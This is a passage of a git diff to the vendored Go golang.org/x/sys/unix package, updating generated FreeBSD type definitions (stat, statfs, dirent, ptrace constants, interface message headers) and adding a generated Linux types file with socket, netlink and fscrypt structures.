-- Flags int32
-- Addrs int32
-- Pid int32
-- Seq int32
-- Errno int32
-- Fmask int32
-- Inits uint32
-- Rmx RtMetrics
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Index uint16
-+ _ [2]byte
-+ Flags int32
-+ Addrs int32
-+ Pid int32
-+ Seq int32
-+ Errno int32
-+ Fmask int32
-+ Inits uint32
-+ Rmx RtMetrics
- }
-
- type RtMetrics struct {
-@@ -481,18 +612,18 @@ type BpfInsn struct {
- }
-
- type BpfHdr struct {
-- Tstamp Timeval
-- Caplen uint32
-- Datalen uint32
-- Hdrlen uint16
-- Pad_cgo_0 [6]byte
-+ Tstamp Timeval
-+ Caplen uint32
-+ Datalen uint32
-+ Hdrlen uint16
-+ _ [6]byte
- }
-
- type BpfZbufHeader struct {
- Kernel_gen uint32
- Kernel_len uint32
- User_gen uint32
-- X_bzh_pad [5]uint32
-+ _ [5]uint32
- }
-
- type Termios struct {
-@@ -519,6 +650,44 @@ const (
- AT_SYMLINK_NOFOLLOW = 0x200
- )
-
-+type PollFd struct {
-+ Fd int32
-+ Events int16
-+ Revents int16
-+}
-+
-+const (
-+ POLLERR = 0x8
-+ POLLHUP = 0x10
-+ POLLIN = 0x1
-+ POLLINIGNEOF = 0x2000
-+ POLLNVAL = 0x20
-+ POLLOUT = 0x4
-+ POLLPRI = 0x2
-+ POLLRDBAND = 0x80
-+ POLLRDNORM = 0x40
-+ POLLWRBAND = 0x100
-+ POLLWRNORM = 0x4
-+)
-+
- type CapRights struct {
- Rights [2]uint64
- }
-+
-+type Utsname struct {
-+ Sysname [256]byte
-+ Nodename [256]byte
-+ Release [256]byte
-+ Version [256]byte
-+ Machine [256]byte
-+}
-+
-+const SizeofClockinfo = 0x14
-+
-+type Clockinfo struct {
-+ Hz int32
-+ Tick int32
-+ Spare int32
-+ Stathz int32
-+ Profhz int32
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_freebsd_amd64.go b/vendor/golang.org/x/sys/unix/ztypes_freebsd_arm64.go
-similarity index 54%
-copy from vendor/golang.org/x/sys/unix/ztypes_freebsd_amd64.go
-copy to vendor/golang.org/x/sys/unix/ztypes_freebsd_arm64.go
-index c65d89e4..c6fe1d09 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_freebsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_freebsd_arm64.go
-@@ -1,16 +1,16 @@
--// cgo -godefs types_freebsd.go | go run mkpost.go
-+// cgo -godefs -- -fsigned-char types_freebsd.go | go run mkpost.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
--// +build amd64,freebsd
-+// +build arm64,freebsd
-
- package unix
-
- const (
-- sizeofPtr = 0x8
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x8
-- sizeofLongLong = 0x8
-+ SizeofPtr = 0x8
-+ SizeofShort = 0x2
-+ SizeofInt = 0x4
-+ SizeofLong = 0x8
-+ SizeofLongLong = 0x8
- )
-
- type (
-@@ -57,40 +57,50 @@ type Rlimit struct {
- type _Gid_t uint32
-
- const (
-- S_IFMT = 0xf000
-- S_IFIFO = 0x1000
-- S_IFCHR = 0x2000
-- S_IFDIR = 0x4000
-- S_IFBLK = 0x6000
-- S_IFREG = 0x8000
-- S_IFLNK = 0xa000
-- S_IFSOCK = 0xc000
-- S_ISUID = 0x800
-- S_ISGID = 0x400
-- S_ISVTX = 0x200
-- S_IRUSR = 0x100
-- S_IWUSR = 0x80
-- S_IXUSR = 0x40
-+ _statfsVersion = 0x20140518
-+ _dirblksiz = 0x400
- )
-
- type Stat_t struct {
-- Dev uint32
-- Ino uint32
-- Mode uint16
-- Nlink uint16
-- Uid uint32
-- Gid uint32
-- Rdev uint32
-- Atimespec Timespec
-- Mtimespec Timespec
-- Ctimespec Timespec
-- Size int64
-- Blocks int64
-- Blksize int32
-- Flags uint32
-- Gen uint32
-- Lspare int32
-- Birthtimespec Timespec
-+ Dev uint64
-+ Ino uint64
-+ Nlink uint64
-+ Mode uint16
-+ _0 int16
-+ Uid uint32
-+ Gid uint32
-+ _1 int32
-+ Rdev uint64
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ Btim Timespec
-+ Size int64
-+ Blocks int64
-+ Blksize int32
-+ Flags uint32
-+ Gen uint64
-+ Spare [10]uint64
-+}
-+
-+type stat_freebsd11_t struct {
-+ Dev uint32
-+ Ino uint32
-+ Mode uint16
-+ Nlink uint16
-+ Uid uint32
-+ Gid uint32
-+ Rdev uint32
-+ Atim Timespec
-+ Mtim Timespec
-+ Ctim Timespec
-+ Size int64
-+ Blocks int64
-+ Blksize int32
-+ Flags uint32
-+ Gen uint32
-+ Lspare int32
-+ Btim Timespec
- }
-
- type Statfs_t struct {
-@@ -113,22 +123,58 @@ type Statfs_t struct {
- Owner uint32
- Fsid Fsid
- Charspare [80]int8
-- Fstypename [16]int8
-- Mntfromname [88]int8
-- Mntonname [88]int8
-+ Fstypename [16]byte
-+ Mntfromname [1024]byte
-+ Mntonname [1024]byte
-+}
-+
-+type statfs_freebsd11_t struct {
-+ Version uint32
-+ Type uint32
-+ Flags uint64
-+ Bsize uint64
-+ Iosize uint64
-+ Blocks uint64
-+ Bfree uint64
-+ Bavail int64
-+ Files uint64
-+ Ffree int64
-+ Syncwrites uint64
-+ Asyncwrites uint64
-+ Syncreads uint64
-+ Asyncreads uint64
-+ Spare [10]uint64
-+ Namemax uint32
-+ Owner uint32
-+ Fsid Fsid
-+ Charspare [80]int8
-+ Fstypename [16]byte
-+ Mntfromname [88]byte
-+ Mntonname [88]byte
- }
-
- type Flock_t struct {
-- Start int64
-- Len int64
-- Pid int32
-- Type int16
-- Whence int16
-- Sysid int32
-- Pad_cgo_0 [4]byte
-+ Start int64
-+ Len int64
-+ Pid int32
-+ Type int16
-+ Whence int16
-+ Sysid int32
-+ _ [4]byte
- }
-
- type Dirent struct {
-+ Fileno uint64
-+ Off int64
-+ Reclen uint16
-+ Type uint8
-+ Pad0 uint8
-+ Namlen uint16
-+ Pad1 uint16
-+ Name [256]int8
-+}
-+
-+type dirent_freebsd11 struct {
- Fileno uint32
- Reclen uint16
- Type uint8
-@@ -140,6 +186,10 @@ type Fsid struct {
- Val [2]int32
- }
-
-+const (
-+ PathMax = 0x400
-+)
-+
- const (
- FADV_NORMAL = 0x0
- FADV_RANDOM = 0x1
-@@ -225,10 +275,8 @@ type IPv6Mreq struct {
- type Msghdr struct {
- Name *byte
- Namelen uint32
-- Pad_cgo_0 [4]byte
- Iov *Iovec
- Iovlen int32
-- Pad_cgo_1 [4]byte
- Control *byte
- Controllen uint32
- Flags int32
-@@ -272,11 +320,93 @@ const (
- )
-
- const (
-- PTRACE_TRACEME = 0x0
-- PTRACE_CONT = 0x7
-- PTRACE_KILL = 0x8
-+ PTRACE_ATTACH = 0xa
-+ PTRACE_CONT = 0x7
-+ PTRACE_DETACH = 0xb
-+ PTRACE_GETFPREGS = 0x23
-+ PTRACE_GETLWPLIST = 0xf
-+ PTRACE_GETNUMLWPS = 0xe
-+ PTRACE_GETREGS = 0x21
-+ PTRACE_IO = 0xc
-+ PTRACE_KILL = 0x8
-+ PTRACE_LWPEVENTS = 0x18
-+ PTRACE_LWPINFO = 0xd
-+ PTRACE_SETFPREGS = 0x24
-+ PTRACE_SETREGS = 0x22
-+ PTRACE_SINGLESTEP = 0x9
-+ PTRACE_TRACEME = 0x0
-+)
-+
-+const (
-+ PIOD_READ_D = 0x1
-+ PIOD_WRITE_D = 0x2
-+ PIOD_READ_I = 0x3
-+ PIOD_WRITE_I = 0x4
-+)
-+
-+const (
-+ PL_FLAG_BORN = 0x100
-+ PL_FLAG_EXITED = 0x200
-+ PL_FLAG_SI = 0x20
-+)
-+
-+const (
-+ TRAP_BRKPT = 0x1
-+ TRAP_TRACE = 0x2
- )
-
-+type PtraceLwpInfoStruct struct {
-+ Lwpid int32
-+ Event int32
-+ Flags int32
-+ Sigmask Sigset_t
-+ Siglist Sigset_t
-+ Siginfo __Siginfo
-+ Tdname [20]int8
-+ Child_pid int32
-+ Syscall_code uint32
-+ Syscall_narg uint32
-+}
-+
-+type __Siginfo struct {
-+ Signo int32
-+ Errno int32
-+ Code int32
-+ Pid int32
-+ Uid uint32
-+ Status int32
-+ Addr *byte
-+ Value [8]byte
-+ _ [40]byte
-+}
-+
-+type Sigset_t struct {
-+ Val [4]uint32
-+}
-+
-+type Reg struct {
-+ X [30]uint64
-+ Lr uint64
-+ Sp uint64
-+ Elr uint64
-+ Spsr uint32
-+ _ [4]byte
-+}
-+
-+type FpReg struct {
-+ Q [32][16]uint8
-+ Sr uint32
-+ Cr uint32
-+ _ [8]byte
-+}
-+
-+type PtraceIoDesc struct {
-+ Op int32
-+ Offs *byte
-+ Addr *byte
-+ Len uint64
-+}
-+
- type Kevent_t struct {
- Ident uint64
- Filter int16
-@@ -287,7 +417,7 @@ type Kevent_t struct {
- }
-
- type FdSet struct {
-- X__fds_bits [16]uint64
-+ Bits [16]uint64
- }
-
- const (
-@@ -303,53 +433,52 @@ const (
- )
-
- type ifMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Data ifData
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ uint16
-+ Data ifData
- }
-
- type IfMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Data IfData
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ Data IfData
- }
-
- type ifData struct {
-- Type uint8
-- Physical uint8
-- Addrlen uint8
-- Hdrlen uint8
-- Link_state uint8
-- Vhid uint8
-- Datalen uint16
-- Mtu uint32
-- Metric uint32
-- Baudrate uint64
-- Ipackets uint64
-- Ierrors uint64
-- Opackets uint64
-- Oerrors uint64
-- Collisions uint64
-- Ibytes uint64
-- Obytes uint64
-- Imcasts uint64
-- Omcasts uint64
-- Iqdrops uint64
-- Oqdrops uint64
-- Noproto uint64
-- Hwassist uint64
-- X__ifi_epoch [8]byte
-- X__ifi_lastchange [16]byte
-+ Type uint8
-+ Physical uint8
-+ Addrlen uint8
-+ Hdrlen uint8
-+ Link_state uint8
-+ Vhid uint8
-+ Datalen uint16
-+ Mtu uint32
-+ Metric uint32
-+ Baudrate uint64
-+ Ipackets uint64
-+ Ierrors uint64
-+ Opackets uint64
-+ Oerrors uint64
-+ Collisions uint64
-+ Ibytes uint64
-+ Obytes uint64
-+ Imcasts uint64
-+ Omcasts uint64
-+ Iqdrops uint64
-+ Oqdrops uint64
-+ Noproto uint64
-+ Hwassist uint64
-+ _ [8]byte
-+ _ [16]byte
- }
-
- type IfData struct {
-@@ -381,24 +510,24 @@ type IfData struct {
- }
-
- type IfaMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Metric int32
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ uint16
-+ Metric int32
- }
-
- type IfmaMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Addrs int32
-- Flags int32
-- Index uint16
-- Pad_cgo_0 [2]byte
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Addrs int32
-+ Flags int32
-+ Index uint16
-+ _ uint16
- }
-
- type IfAnnounceMsghdr struct {
-@@ -411,19 +540,19 @@ type IfAnnounceMsghdr struct {
- }
-
- type RtMsghdr struct {
-- Msglen uint16
-- Version uint8
-- Type uint8
-- Index uint16
-- Pad_cgo_0 [2]byte
-- Flags int32
-- Addrs int32
-- Pid int32
-- Seq int32
-- Errno int32
-- Fmask int32
-- Inits uint64
-- Rmx RtMetrics
-+ Msglen uint16
-+ Version uint8
-+ Type uint8
-+ Index uint16
-+ _ uint16
-+ Flags int32
-+ Addrs int32
-+ Pid int32
-+ Seq int32
-+ Errno int32
-+ Fmask int32
-+ Inits uint64
-+ Rmx RtMetrics
- }
-
- type RtMetrics struct {
-@@ -468,9 +597,8 @@ type BpfZbuf struct {
- }
-
- type BpfProgram struct {
-- Len uint32
-- Pad_cgo_0 [4]byte
-- Insns *BpfInsn
-+ Len uint32
-+ Insns *BpfInsn
- }
-
- type BpfInsn struct {
-@@ -481,18 +609,18 @@ type BpfInsn struct {
- }
-
- type BpfHdr struct {
-- Tstamp Timeval
-- Caplen uint32
-- Datalen uint32
-- Hdrlen uint16
-- Pad_cgo_0 [6]byte
-+ Tstamp Timeval
-+ Caplen uint32
-+ Datalen uint32
-+ Hdrlen uint16
-+ _ [6]byte
- }
-
- type BpfZbufHeader struct {
- Kernel_gen uint32
- Kernel_len uint32
- User_gen uint32
-- X_bzh_pad [5]uint32
-+ _ [5]uint32
- }
-
- type Termios struct {
-@@ -519,6 +647,44 @@ const (
- AT_SYMLINK_NOFOLLOW = 0x200
- )
-
-+type PollFd struct {
-+ Fd int32
-+ Events int16
-+ Revents int16
-+}
-+
-+const (
-+ POLLERR = 0x8
-+ POLLHUP = 0x10
-+ POLLIN = 0x1
-+ POLLINIGNEOF = 0x2000
-+ POLLNVAL = 0x20
-+ POLLOUT = 0x4
-+ POLLPRI = 0x2
-+ POLLRDBAND = 0x80
-+ POLLRDNORM = 0x40
-+ POLLWRBAND = 0x100
-+ POLLWRNORM = 0x4
-+)
-+
- type CapRights struct {
- Rights [2]uint64
- }
-+
-+type Utsname struct {
-+ Sysname [256]byte
-+ Nodename [256]byte
-+ Release [256]byte
-+ Version [256]byte
-+ Machine [256]byte
-+}
-+
-+const SizeofClockinfo = 0x14
-+
-+type Clockinfo struct {
-+ Hz int32
-+ Tick int32
-+ Spare int32
-+ Stathz int32
-+ Profhz int32
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux.go b/vendor/golang.org/x/sys/unix/ztypes_linux.go
-new file mode 100644
-index 00000000..af5ab455
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/ztypes_linux.go
-@@ -0,0 +1,2340 @@
-+// Code generated by mkmerge.go; DO NOT EDIT.
-+
-+// +build linux
-+
-+package unix
-+
-+const (
-+ SizeofShort = 0x2
-+ SizeofInt = 0x4
-+ SizeofLongLong = 0x8
-+ PathMax = 0x1000
-+)
-+
-+type (
-+ _C_short int16
-+ _C_int int32
-+
-+ _C_long_long int64
-+)
-+
-+const (
-+ TIME_OK = 0x0
-+ TIME_INS = 0x1
-+ TIME_DEL = 0x2
-+ TIME_OOP = 0x3
-+ TIME_WAIT = 0x4
-+ TIME_ERROR = 0x5
-+ TIME_BAD = 0x5
-+)
-+
-+type Rlimit struct {
-+ Cur uint64
-+ Max uint64
-+}
-+
-+type _Gid_t uint32
-+
-+type StatxTimestamp struct {
-+ Sec int64
-+ Nsec uint32
-+ _ int32
-+}
-+
-+type Statx_t struct {
-+ Mask uint32
-+ Blksize uint32
-+ Attributes uint64
-+ Nlink uint32
-+ Uid uint32
-+ Gid uint32
-+ Mode uint16
-+ _ [1]uint16
-+ Ino uint64
-+ Size uint64
-+ Blocks uint64
-+ Attributes_mask uint64
-+ Atime StatxTimestamp
-+ Btime StatxTimestamp
-+ Ctime StatxTimestamp
-+ Mtime StatxTimestamp
-+ Rdev_major uint32
-+ Rdev_minor uint32
-+ Dev_major uint32
-+ Dev_minor uint32
-+ _ [14]uint64
-+}
-+
-+type Fsid struct {
-+ Val [2]int32
-+}
-+
-+type FscryptPolicy struct {
-+ Version uint8
-+ Contents_encryption_mode uint8
-+ Filenames_encryption_mode uint8
-+ Flags uint8
-+ Master_key_descriptor [8]uint8
-+}
-+
-+type FscryptKey struct {
-+ Mode uint32
-+ Raw [64]uint8
-+ Size uint32
-+}
-+
-+type FscryptPolicyV1 struct {
-+ Version uint8
-+ Contents_encryption_mode uint8
-+ Filenames_encryption_mode uint8
-+ Flags uint8
-+ Master_key_descriptor [8]uint8
-+}
-+
-+type FscryptPolicyV2 struct {
-+ Version uint8
-+ Contents_encryption_mode uint8
-+ Filenames_encryption_mode uint8
-+ Flags uint8
-+ _ [4]uint8
-+ Master_key_identifier [16]uint8
-+}
-+
-+type FscryptGetPolicyExArg struct {
-+ Size uint64
-+ Policy [24]byte
-+}
-+
-+type FscryptKeySpecifier struct {
-+ Type uint32
-+ _ uint32
-+ U [32]byte
-+}
-+
-+type FscryptAddKeyArg struct {
-+ Key_spec FscryptKeySpecifier
-+ Raw_size uint32
-+ Key_id uint32
-+ _ [8]uint32
-+}
-+
-+type FscryptRemoveKeyArg struct {
-+ Key_spec FscryptKeySpecifier
-+ Removal_status_flags uint32
-+ _ [5]uint32
-+}
-+
-+type FscryptGetKeyStatusArg struct {
-+ Key_spec FscryptKeySpecifier
-+ _ [6]uint32
-+ Status uint32
-+ Status_flags uint32
-+ User_count uint32
-+ _ [13]uint32
-+}
-+
-+type KeyctlDHParams struct {
-+ Private int32
-+ Prime int32
-+ Base int32
-+}
-+
-+const (
-+ FADV_NORMAL = 0x0
-+ FADV_RANDOM = 0x1
-+ FADV_SEQUENTIAL = 0x2
-+ FADV_WILLNEED = 0x3
-+)
-+
-+type RawSockaddrInet4 struct {
-+ Family uint16
-+ Port uint16
-+ Addr [4]byte /* in_addr */
-+ Zero [8]uint8
-+}
-+
-+type RawSockaddrInet6 struct {
-+ Family uint16
-+ Port uint16
-+ Flowinfo uint32
-+ Addr [16]byte /* in6_addr */
-+ Scope_id uint32
-+}
-+
-+type RawSockaddrUnix struct {
-+ Family uint16
-+ Path [108]int8
-+}
-+
-+type RawSockaddrLinklayer struct {
-+ Family uint16
-+ Protocol uint16
-+ Ifindex int32
-+ Hatype uint16
-+ Pkttype uint8
-+ Halen uint8
-+ Addr [8]uint8
-+}
-+
-+type RawSockaddrNetlink struct {
-+ Family uint16
-+ Pad uint16
-+ Pid uint32
-+ Groups uint32
-+}
-+
-+type RawSockaddrHCI struct {
-+ Family uint16
-+ Dev uint16
-+ Channel uint16
-+}
-+
-+type RawSockaddrL2 struct {
-+ Family uint16
-+ Psm uint16
-+ Bdaddr [6]uint8
-+ Cid uint16
-+ Bdaddr_type uint8
-+ _ [1]byte
-+}
-+
-+type RawSockaddrRFCOMM struct {
-+ Family uint16
-+ Bdaddr [6]uint8
-+ Channel uint8
-+ _ [1]byte
-+}
-+
-+type RawSockaddrCAN struct {
-+ Family uint16
-+ Ifindex int32
-+ Addr [16]byte
-+}
-+
-+type RawSockaddrALG struct {
-+ Family uint16
-+ Type [14]uint8
-+ Feat uint32
-+ Mask uint32
-+ Name [64]uint8
-+}
-+
-+type RawSockaddrVM struct {
-+ Family uint16
-+ Reserved1 uint16
-+ Port uint32
-+ Cid uint32
-+ Zero [4]uint8
-+}
-+
-+type RawSockaddrXDP struct {
-+ Family uint16
-+ Flags uint16
-+ Ifindex uint32
-+ Queue_id uint32
-+ Shared_umem_fd uint32
-+}
-+
-+type RawSockaddrPPPoX [0x1e]byte
-+
-+type RawSockaddrTIPC struct {
-+ Family uint16
-+ Addrtype uint8
-+ Scope int8
-+ Addr [12]byte
-+}
-+
-+type RawSockaddrL2TPIP struct {
-+ Family uint16
-+ Unused uint16
-+ Addr [4]byte /* in_addr */
-+ Conn_id uint32
-+ _ [4]uint8
-+}
-+
-+type RawSockaddrL2TPIP6 struct {
-+ Family uint16
-+ Unused uint16
-+ Flowinfo uint32
-+ Addr [16]byte /* in6_addr */
-+ Scope_id uint32
-+ Conn_id uint32
-+}
-+
-+type _Socklen uint32
-+
-+type Linger struct {
-+ Onoff int32
-+ Linger int32
-+}
-+
-+type IPMreq struct {
-+ Multiaddr [4]byte /* in_addr */
-+ Interface [4]byte /* in_addr */
-+}
-+
-+type IPMreqn struct {
-+ Multiaddr [4]byte /* in_addr */
-+ Address [4]byte /* in_addr */
-+ Ifindex int32
-+}
-+
-+type IPv6Mreq struct {
-+ Multiaddr [16]byte /* in6_addr */
-+ Interface uint32
-+}
-+
-+type PacketMreq struct {
-+ Ifindex int32
-+ Type uint16
-+ Alen uint16
-+ Address [8]uint8
-+}
-+
-+type Inet4Pktinfo struct {
-+ Ifindex int32
-+ Spec_dst [4]byte /* in_addr */
-+ Addr [4]byte /* in_addr */
-+}
-+
-+type Inet6Pktinfo struct {
-+ Addr [16]byte /* in6_addr */
-+ Ifindex uint32
-+}
-+
-+type IPv6MTUInfo struct {
-+ Addr RawSockaddrInet6
-+ Mtu uint32
-+}
-+
-+type ICMPv6Filter struct {
-+ Data [8]uint32
-+}
-+
-+type Ucred struct {
-+ Pid int32
-+ Uid uint32
-+ Gid uint32
-+}
-+
-+type TCPInfo struct {
-+ State uint8
-+ Ca_state uint8
-+ Retransmits uint8
-+ Probes uint8
-+ Backoff uint8
-+ Options uint8
-+ Rto uint32
-+ Ato uint32
-+ Snd_mss uint32
-+ Rcv_mss uint32
-+ Unacked uint32
-+ Sacked uint32
-+ Lost uint32
-+ Retrans uint32
-+ Fackets uint32
-+ Last_data_sent uint32
-+ Last_ack_sent uint32
-+ Last_data_recv uint32
-+ Last_ack_recv uint32
-+ Pmtu uint32
-+ Rcv_ssthresh uint32
-+ Rtt uint32
-+ Rttvar uint32
-+ Snd_ssthresh uint32
-+ Snd_cwnd uint32
-+ Advmss uint32
-+ Reordering uint32
-+ Rcv_rtt uint32
-+ Rcv_space uint32
-+ Total_retrans uint32
-+}
-+
-+type CanFilter struct {
-+ Id uint32
-+ Mask uint32
-+}
-+
-+const (
-+ SizeofSockaddrInet4 = 0x10
-+ SizeofSockaddrInet6 = 0x1c
-+ SizeofSockaddrAny = 0x70
-+ SizeofSockaddrUnix = 0x6e
-+ SizeofSockaddrLinklayer = 0x14
-+ SizeofSockaddrNetlink = 0xc
-+ SizeofSockaddrHCI = 0x6
-+ SizeofSockaddrL2 = 0xe
-+ SizeofSockaddrRFCOMM = 0xa
-+ SizeofSockaddrCAN = 0x18
-+ SizeofSockaddrALG = 0x58
-+ SizeofSockaddrVM = 0x10
-+ SizeofSockaddrXDP = 0x10
-+ SizeofSockaddrPPPoX = 0x1e
-+ SizeofSockaddrTIPC = 0x10
-+ SizeofSockaddrL2TPIP = 0x10
-+ SizeofSockaddrL2TPIP6 = 0x20
-+ SizeofLinger = 0x8
-+ SizeofIPMreq = 0x8
-+ SizeofIPMreqn = 0xc
-+ SizeofIPv6Mreq = 0x14
-+ SizeofPacketMreq = 0x10
-+ SizeofInet4Pktinfo = 0xc
-+ SizeofInet6Pktinfo = 0x14
-+ SizeofIPv6MTUInfo = 0x20
-+ SizeofICMPv6Filter = 0x20
-+ SizeofUcred = 0xc
-+ SizeofTCPInfo = 0x68
-+ SizeofCanFilter = 0x8
-+)
-+
-+const (
-+ NDA_UNSPEC = 0x0
-+ NDA_DST = 0x1
-+ NDA_LLADDR = 0x2
-+ NDA_CACHEINFO = 0x3
-+ NDA_PROBES = 0x4
-+ NDA_VLAN = 0x5
-+ NDA_PORT = 0x6
-+ NDA_VNI = 0x7
-+ NDA_IFINDEX = 0x8
-+ NDA_MASTER = 0x9
-+ NDA_LINK_NETNSID = 0xa
-+ NDA_SRC_VNI = 0xb
-+ NTF_USE = 0x1
-+ NTF_SELF = 0x2
-+ NTF_MASTER = 0x4
-+ NTF_PROXY = 0x8
-+ NTF_EXT_LEARNED = 0x10
-+ NTF_OFFLOADED = 0x20
-+ NTF_ROUTER = 0x80
-+ NUD_INCOMPLETE = 0x1
-+ NUD_REACHABLE = 0x2
-+ NUD_STALE = 0x4
-+ NUD_DELAY = 0x8
-+ NUD_PROBE = 0x10
-+ NUD_FAILED = 0x20
-+ NUD_NOARP = 0x40
-+ NUD_PERMANENT = 0x80
-+ NUD_NONE = 0x0
-+ IFA_UNSPEC = 0x0
-+ IFA_ADDRESS = 0x1
-+ IFA_LOCAL = 0x2
-+ IFA_LABEL = 0x3
-+ IFA_BROADCAST = 0x4
-+ IFA_ANYCAST = 0x5
-+ IFA_CACHEINFO = 0x6
-+ IFA_MULTICAST = 0x7
-+ IFA_FLAGS = 0x8
-+ IFA_RT_PRIORITY = 0x9
-+ IFA_TARGET_NETNSID = 0xa
-+ IFLA_UNSPEC = 0x0
-+ IFLA_ADDRESS = 0x1
-+ IFLA_BROADCAST = 0x2
-+ IFLA_IFNAME = 0x3
-+ IFLA_MTU = 0x4
-+ IFLA_LINK = 0x5
-+ IFLA_QDISC = 0x6
-+ IFLA_STATS = 0x7
-+ IFLA_COST = 0x8
-+ IFLA_PRIORITY = 0x9
-+ IFLA_MASTER = 0xa
-+ IFLA_WIRELESS = 0xb
-+ IFLA_PROTINFO = 0xc
-+ IFLA_TXQLEN = 0xd
-+ IFLA_MAP = 0xe
-+ IFLA_WEIGHT = 0xf
-+ IFLA_OPERSTATE = 0x10
-+ IFLA_LINKMODE = 0x11
-+ IFLA_LINKINFO = 0x12
-+ IFLA_NET_NS_PID = 0x13
-+ IFLA_IFALIAS = 0x14
-+ IFLA_NUM_VF = 0x15
-+ IFLA_VFINFO_LIST = 0x16
-+ IFLA_STATS64 = 0x17
-+ IFLA_VF_PORTS = 0x18
-+ IFLA_PORT_SELF = 0x19
-+ IFLA_AF_SPEC = 0x1a
-+ IFLA_GROUP = 0x1b
-+ IFLA_NET_NS_FD = 0x1c
-+ IFLA_EXT_MASK = 0x1d
-+ IFLA_PROMISCUITY = 0x1e
-+ IFLA_NUM_TX_QUEUES = 0x1f
-+ IFLA_NUM_RX_QUEUES = 0x20
-+ IFLA_CARRIER = 0x21
-+ IFLA_PHYS_PORT_ID = 0x22
-+ IFLA_CARRIER_CHANGES = 0x23
-+ IFLA_PHYS_SWITCH_ID = 0x24
-+ IFLA_LINK_NETNSID = 0x25
-+ IFLA_PHYS_PORT_NAME = 0x26
-+ IFLA_PROTO_DOWN = 0x27
-+ IFLA_GSO_MAX_SEGS = 0x28
-+ IFLA_GSO_MAX_SIZE = 0x29
-+ IFLA_PAD = 0x2a
-+ IFLA_XDP = 0x2b
-+ IFLA_EVENT = 0x2c
-+ IFLA_NEW_NETNSID = 0x2d
-+ IFLA_IF_NETNSID = 0x2e
-+ IFLA_TARGET_NETNSID = 0x2e
-+ IFLA_CARRIER_UP_COUNT = 0x2f
-+ IFLA_CARRIER_DOWN_COUNT = 0x30
-+ IFLA_NEW_IFINDEX = 0x31
-+ IFLA_MIN_MTU = 0x32
-+ IFLA_MAX_MTU = 0x33
-+ IFLA_MAX = 0x36
-+ IFLA_INFO_KIND = 0x1
-+ IFLA_INFO_DATA = 0x2
-+ IFLA_INFO_XSTATS = 0x3
-+ IFLA_INFO_SLAVE_KIND = 0x4
-+ IFLA_INFO_SLAVE_DATA = 0x5
-+ RT_SCOPE_UNIVERSE = 0x0
-+ RT_SCOPE_SITE = 0xc8
-+ RT_SCOPE_LINK = 0xfd
-+ RT_SCOPE_HOST = 0xfe
-+ RT_SCOPE_NOWHERE = 0xff
-+ RT_TABLE_UNSPEC = 0x0
-+ RT_TABLE_COMPAT = 0xfc
-+ RT_TABLE_DEFAULT = 0xfd
-+ RT_TABLE_MAIN = 0xfe
-+ RT_TABLE_LOCAL = 0xff
-+ RT_TABLE_MAX = 0xffffffff
-+ RTA_UNSPEC = 0x0
-+ RTA_DST = 0x1
-+ RTA_SRC = 0x2
-+ RTA_IIF = 0x3
-+ RTA_OIF = 0x4
-+ RTA_GATEWAY = 0x5
-+ RTA_PRIORITY = 0x6
-+ RTA_PREFSRC = 0x7
-+ RTA_METRICS = 0x8
-+ RTA_MULTIPATH = 0x9
-+ RTA_FLOW = 0xb
-+ RTA_CACHEINFO = 0xc
-+ RTA_TABLE = 0xf
-+ RTA_MARK = 0x10
-+ RTA_MFC_STATS = 0x11
-+ RTA_VIA = 0x12
-+ RTA_NEWDST = 0x13
-+ RTA_PREF = 0x14
-+ RTA_ENCAP_TYPE = 0x15
-+ RTA_ENCAP = 0x16
-+ RTA_EXPIRES = 0x17
-+ RTA_PAD = 0x18
-+ RTA_UID = 0x19
-+ RTA_TTL_PROPAGATE = 0x1a
-+ RTA_IP_PROTO = 0x1b
-+ RTA_SPORT = 0x1c
-+ RTA_DPORT = 0x1d
-+ RTN_UNSPEC = 0x0
-+ RTN_UNICAST = 0x1
-+ RTN_LOCAL = 0x2
-+ RTN_BROADCAST = 0x3
-+ RTN_ANYCAST = 0x4
-+ RTN_MULTICAST = 0x5
-+ RTN_BLACKHOLE = 0x6
-+ RTN_UNREACHABLE = 0x7
-+ RTN_PROHIBIT = 0x8
-+ RTN_THROW = 0x9
-+ RTN_NAT = 0xa
-+ RTN_XRESOLVE = 0xb
-+ SizeofNlMsghdr = 0x10
-+ SizeofNlMsgerr = 0x14
-+ SizeofRtGenmsg = 0x1
-+ SizeofNlAttr = 0x4
-+ SizeofRtAttr = 0x4
-+ SizeofIfInfomsg = 0x10
-+ SizeofIfAddrmsg = 0x8
-+ SizeofIfaCacheinfo = 0x10
-+ SizeofRtMsg = 0xc
-+ SizeofRtNexthop = 0x8
-+ SizeofNdUseroptmsg = 0x10
-+ SizeofNdMsg = 0xc
-+)
-+
-+type NlMsghdr struct {
-+ Len uint32
-+ Type uint16
-+ Flags uint16
-+ Seq uint32
-+ Pid uint32
-+}
-+
-+type NlMsgerr struct {
-+ Error int32
-+ Msg NlMsghdr
-+}
-+
-+type RtGenmsg struct {
-+ Family uint8
-+}
-+
-+type NlAttr struct {
-+ Len uint16
-+ Type uint16
-+}
-+
-+type RtAttr struct {
-+ Len uint16
-+ Type uint16
-+}
-+
-+type IfInfomsg struct {
-+ Family uint8
-+ _ uint8
-+ Type uint16
